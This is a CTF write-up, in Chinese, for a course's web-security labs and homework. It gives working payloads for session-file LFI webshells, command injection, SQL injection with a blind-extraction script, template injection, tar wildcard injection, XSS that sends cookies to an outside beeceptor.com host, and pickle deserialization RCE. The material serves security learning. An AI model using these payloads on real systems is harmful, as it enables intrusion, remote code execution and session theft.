# web ## [LAB] Hello from Windows ```php= <?php session_start(); if(isset($_GET['source'])){ highlight_file('./'.$_GET['source'].'.php'); die(); } if(isset($_GET['name']) && $_GET['name']!=''){ $_SESSION['name'] = $_GET['name']; header("Location: /?page=hi.php"); die(); } if(!isset($_GET['page'])){ header("Location: /?page=say.php"); die(); } ?> <!DOCTYPE html> <html> <head> <title>Hello from Windows 98</title> <meta charset="UTF-8" /> <link rel="stylesheet" href="https://unpkg.com/98.css" /> </head> <style> body{ background: url('blue.png'); background-size: cover; display: flex; align-items: center; justify-content: center; height: 100vh; margin: 0; } </style> </style> <body> <div class="window" style="margin: 32px; width: 500px"> <div class="title-bar"> <div class="title-bar-text"> Hello World.. </div> <div class="title-bar-controls"> <button aria-label="Minimize"></button> <button aria-label="Maximize"></button> <button aria-label="Close"></button> </div> </div> <div class="window-body"> <?php include($_GET['page']);?> </div> </div> </body> </html> ``` 49行 網頁會 include page參數的值 ![](https://i.imgur.com/yCWmAyC.png) 打開網頁可以看到有個視窗可以輸入名稱 ![](https://i.imgur.com/uztJF7K.png) 按f12看 requests header把 cookie裡的 PHPSESSID 傳給 server,該檔案存在/tmp/sess_{PHPSESSID},因此把 name 構造成 <?php eval($_GET['code']); ?>,再把page 參數修改成/tmp/sess_{PHPSESSID},網頁會 include name裡的 webshell,因此能執行任意程式 ![](https://i.imgur.com/Sr8I1DG.png) ![](https://i.imgur.com/V9iMOha.png) ![](https://i.imgur.com/Juj7jGL.png) 在/var/www/html/flag.txt找到flag ## [LAB] Whois Tool ```php= <?php if(isset($_GET["host"])){ $host = $_GET["host"]; if(strlen($host) > 15) echo "Host name tooooooo logn!!"; else echo `whois "{$host}" 2>&1;`; } ?> ``` ![](https://i.imgur.com/OdGTe5p.png) 一個欄位輸入host,server 執行 whois "{$host}" 2>&1; ![](https://i.imgur.com/XmreDPP.png) 輸入\";ls;\" sever執行的code 變成 whois "";ls;"" 2>&1;; 得知flag在當前路徑底下 ![](https://i.imgur.com/Sj5A1PC.png) ## [LAB] Normal Login Panel ![](https://i.imgur.com/68Yj2sn.png) ![](https://i.imgur.com/CtGXfAj.png) 題目為一登入介面,輸入admin' 網站會壞掉,由此可知此處有sql injection ![](https://i.imgur.com/kJ2dwgI.png) 用union 猜column 個數,猜到第4欄的時候網站才不會崩潰,因此關鍵應該在這第四欄 ![](https://i.imgur.com/3RSfaRe.png) 背後的 database 是 sqlLite ![](https://i.imgur.com/wwq1WWs.png) 輸入 admin' union select 1,1,1,sql FROM sqlite_master WHERE type='table' -- 看到有一張表結構為 id , username , password , count ![](https://i.imgur.com/iGK3VQk.png) 輸入 admin' union select 1,1,1,password FROM users -- 撈出 password ## [LAB] Normal Login Panel 2 ![](https://i.imgur.com/f27af1u.png) 透過上一題的password,登入 admin, 網頁回傳一段python code,如果登入成功且有greet參數,則回傳 Hello {greet},沒有greet參數回傳網頁source code ![](https://i.imgur.com/MbXe2mZ.png) 用burp suite構造 post,利用 greet 執行 popen('cat *').read() post username=admin &password=FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t} &greet={{().\_\_class\_\_.\_\_base\_\_.\_\_subclasses\_\_()[140].\_\_init\_\_.\_\_globals\_\_['popen']('cat *').read()}} ## [HW] PasteWeb (Flag 1) ![](https://i.imgur.com/7STBbT7.png) 利用 OR 5::int=5 得知database用的是 postgresql dump table: a' ;select case when substring(array_to_string(ARRAY(SELECT table_name from information_schema.tables),','),1,{len(datame)+1})='{datame}{i}' then pg_sleep(5) else pg_sleep(0) end ; -- table : s3cr3t_t4b1e dump column: a' ;select case when substring(array_to_string(ARRAY(SELECT column_name FROM information_schema.columns WHERE table_name='s3cr3t_t4b1e'),','),1,{len(datame)+1})='{datame}{i}' then pg_sleep(5) else pg_sleep(0) end ; -- column : fl4g dump fl4g from secrte_table: a' ;select case when substring(array_to_string(ARRAY(SELECT fl4g FROM s3cr3t_t4b1e),','),1,{len(datame)+1})='{datame}{i}' then pg_sleep(5) else pg_sleep(0) end ; -- ```python import requests import time cookies = { 'PHPSESSID': 'iofjasiodfjadfsdfsadasdsdsasd', } headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8', 'Accept-Language': 'zh-TW,zh;q=0.8', 'Cache-Control': 'max-age=0', 'Connection': 'keep-alive', # 'Cookie': 'PHPSESSID=mhjvpduepqit69ifl7ckv2vgim', 'Origin': 'https://pasteweb.ctf.zoolab.org', 'Referer': 'https://pasteweb.ctf.zoolab.org/', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-User': '?1', 'Sec-GPC': '1', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 'sec-ch-ua': '"Not?A_Brand";v="8", "Chromium";v="108", "Brave";v="108"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Windows"', } data = { 'username': 'sadf', 'password': '', 'current_time': '1670860674', } datame = '' ascii = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ \t\n\r\x0b\x0c' for index in range(len(datame)+1,500): for i in ascii: start = time.time() payload = f""" a' ;select case when substring(array_to_string(ARRAY(SELECT CURRENT_USER ),','),1,{len(datame)+1})='{datame}{i}' then pg_sleep(5) else pg_sleep(0) end ; -- """.strip() data['username'] = payload data['current_time'] = int(start) print(payload) response = requests.post('https://pasteweb.ctf.zoolab.org/', cookies=cookies, headers=headers, data=data) print(response.text.split('\n')[-5], time.time()-start, datame, i) if time.time()-start >= 5: datame += i print(datame) break else: print(index, i) raise Exception ``` flag: ![](https://i.imgur.com/XG7enq9.png) ## [HW] PasteWeb (Flag 2) insert into pasteweb_accounts (user_id, user_account, user_password) values (10, 'user', md5('user')); ![](https://i.imgur.com/UVgfLRC.png) 透過前面的sql injection 新增帳號,登入後可以看到網頁的功能,其中edit css因為支援lesscss,因此有個任意讀的漏洞 ``` css .test { content: data-uri("/etc/passwd");} ``` 構造css ![](https://i.imgur.com/XmalIvv.png) 進入View,可以看到/etc/passwd 以 base64的格式回傳 且因為在 /var/www/html/.git/ 裡面的檔案都能正常讀取,可以利用[gitdump工具](https://github.com/denny0223/scrabble) 將source code還原 ```python! from flask import Flask from markupsafe import escape import requests from flask import Response import base64 app = Flask(__name__) cookies = { 'PHPSESSID': '3uq2l8fuf0n1b6l8ou1devk0ej', } headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8', 'Accept-Language': 'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-Hans;q=0.6,und;q=0.5', 'Cache-Control': 'max-age=0', 'Connection': 'keep-alive', # 'Cookie': 'PHPSESSID=lpcfdspcffuf5sdj3mgi0pvjq0', 'Origin': 'https://pasteweb.ctf.zoolab.org', 'Referer': 'https://pasteweb.ctf.zoolab.org/editcss.php', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-User': '?1', 'Sec-GPC': '1', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 'sec-ch-ua': '"Not?A_Brand";v="8", "Chromium";v="108", "Brave";v="108"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Windows"', } @app.route('/.git/<path:subpath>') def show_subpath(subpath): # show the subpath after /path/ path = '/var/www/html/.git/' + subpath print(path) data = { 'less': ".test {\r\n content: data-uri('" + path + "');\r\n}\r\n\r\n", } response = requests.post('https://pasteweb.ctf.zoolab.org/editcss.php', cookies=cookies, headers=headers, data=data) # print(response.status_code) response = requests.post('https://pasteweb.ctf.zoolab.org/view.php', cookies=cookies, headers=headers) data = response.text.splitlines()[7].split('"')[1] if "base64" in data: data = data[data.find('base64,'):].replace('base64,', '') data = base64.b64decode(data) # data.replace(b'/var/www/html', b'') with open(path.replace('/', '_'), 'wb') as f: f.write(data) print(data[:10]) return Response(data, mimetype='application/octet-stream') return Response(status=404) if __name__ == "__main__": app.run(debug=True) ``` 用 flask 在port 80架一個server,當gitdumper GET http://127.0.0.1/.git/HEAD 時,server將data-uri的路徑改成/var/www/html/.git/HEAD,從目標網站讀檔再回傳,藉此模擬直接GET https://pasteweb.ctf.zoolab.org/.git/HEAD 的效果 ![](https://i.imgur.com/QeoG5Qk.png) ![](https://i.imgur.com/6LfaqhI.png) dump完得到source code,在index.php得到flag ## [HW] PasteWeb (Flag 3) ```php= <?php session_start(); if(!isset($_SESSION['name'])){ header("Location: /"); die(); } // When you see this line, you probably don't need to read 'lessc.inc.php', the intended sollution of flag 3 have nothing to do with it require "lessc.inc.php"; $less = new lessc; $sandbox = './sandbox/'.md5($_SESSION['name']).'/'; if (!file_exists($sandbox)){ mkdir($sandbox); } chdir($sandbox); if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['less'])){ file_put_contents('input.less', $_POST['less']); $theme = isset($_POST['theme'])? str_replace('/', '', $_POST['theme']): 'default'; $less->compileFile('input.less', $theme.'.css');; $_SESSION['message'] = "CSS updated successfully!"; } ?> ``` 在 editcss.php 中發現edit css時可以帶一個 theme 的參數,web 會把compile 後的css 存成 $theme.'.css',因此可以儲存任意名稱結尾為.css的檔案 ```php= <?php session_start(); if(!isset($_SESSION['name'])){ header("Location: /"); die(); } $sandbox = './sandbox/'.md5($_SESSION['name']).'/'; if (!file_exists($sandbox)){ mkdir($sandbox); } chdir($sandbox); header("Content-Disposition: attachment; filename=download.tar"); shell_exec("tar -cvf download.tar *"); readfile("download.tar"); shell_exec("rm download.tar"); die(); ?> ``` 第十五行shell_exec("tar -cvf download.tar *");,這邊的\*會將所有當前路徑的檔案名稱當作參數 將 theme 構造成 -I "bash";echo '<?php system($_GET[1]); ?>'>aaaa.php; default tar -cvf download.tar * 的行為會變成 tar -cvf download.tar -I "bash";echo '<?php system($_GET[1]); ?>'>aaaa.php; default.css default.css input.css index.html 執行download後在 sandbox/md5(user)/aaaa.php 獲得一個webshell ![](https://i.imgur.com/lrb7BWK.png) ## [LAB] Particles.js ![](https://i.imgur.com/06yX941.png) ![](https://i.imgur.com/6CCxZeQ.png) 網頁有個選單切換 config ,按 change 會重新GET 當前網站並帶上 config 的 parameter ![](https://i.imgur.com/6vJeSs0.png) ![](https://i.imgur.com/JRIKMAc.png) report 會把 url POST 回去 ![](https://i.imgur.com/1SZH2qk.png) ![](https://i.imgur.com/ZPFNpZA.png) 把config設為 aaaaaaaa,可以發現 \<script\> 底下有兩個變數隨著config改變 ![](https://i.imgur.com/xgVuVCg.png) 把 config 構造為 5;fetch("https://asiagodtone.free.beeceptor.com?flag="%2bdocument.cookie);({1://\ admin回傳 flag: ![](https://i.imgur.com/yIrogIz.png) ## [LAB] Simple Note [20] ![](https://i.imgur.com/3CW1XCQ.png) 題目是一個 note 可以放 title 和 content ![](https://i.imgur.com/a0Pe9TV.png) 提交後得到一個網頁和 report的按鈕 ![](https://i.imgur.com/wmco2VV.png) report 後會把 url 傳給 server, 因為server 會 access這個url,所以有 XSS 漏洞 ![](https://i.imgur.com/0V4Wtxh.png) 因為 title 是 innerhtml 所以可以放 script 進去 <img src=x onerror=alert(1)> 因為 title 有長度限制, 所以先控制 window.name 再 eval <img src=x onerror=eval(window.name)> ![](https://i.imgur.com/ijzcc70.png) 把 POST /report 的 payload 改成自己的網頁 ![](https://i.imgur.com/9u8qpVx.png) 網頁的邏輯 window.name = "fetch('https://aaaaaaaaa.free.beeceptor.com? window.namewhoami=aaaaaaaaa'+document.cookie)" location = "https://note.ctf.zoolab.org/note/11578879a8be371969906666" 設置 windows.name,進入 note後會 eval(window.name) 然後location 設定成剛剛的note,跳轉過去後就會 eval(window.name),就能得到server的cookie了 ![](https://i.imgur.com/IQ24w65.png) ## [LAB] Pickle ```py= from flask import Flask, request, make_response, redirect, send_file import base64 import pickle app = Flask(__name__) @app.route("/sauce") def sauce(): return send_file(__file__, mimetype="text/plain") @app.route("/") def main(): session = request.cookies.get("session") if session == None: return '<form action="/login" method="POST">' +\ '<p>Name: <input name="name" type="text"></p>' +\ '<p>Age: <input name="age" type="number"></p>' +\ '<button>Submit</button></form><hr><a href="/sauce">Source code</a>' else: user = pickle.loads(base64.b64decode(session)) return f'<p>Name: {user["name"]}</p><p>Age: {user["age"]}</p>' @app.route("/login", methods=['POST']) def login(): user = base64.b64encode(pickle.dumps({ "name": request.form.get('name'), "age": int(request.form.get('age')) })) resp = make_response(redirect('/')) resp.set_cookie("session", user) return resp ``` 從 source code 得知web會把 cookie中的session反序列化 ```python= import pickle import subprocess import base64 class Exploit(object): def __reduce__(self): return (subprocess.check_output, ('ls',), ) session = pickle.dumps({"name":Exploit(), "age":1}) session = base64.b64encode(session) user = pickle.loads(base64.b64decode(session)) print(bytes.hex(session)) print((session)) print(user) ``` 將cookie構造成 gASVOwAAAAAAAAB9lCiMBG5hbWWUjApzdWJwcm9jZXNzlIwMY2hlY2tfb3V0cHV0lJOUjAJsc5SFlFKUjANhZ2WUSwF1Lg== ![](https://i.imgur.com/5cuUoQk.png) flag: ![](https://i.imgur.com/q1rUBTs.png)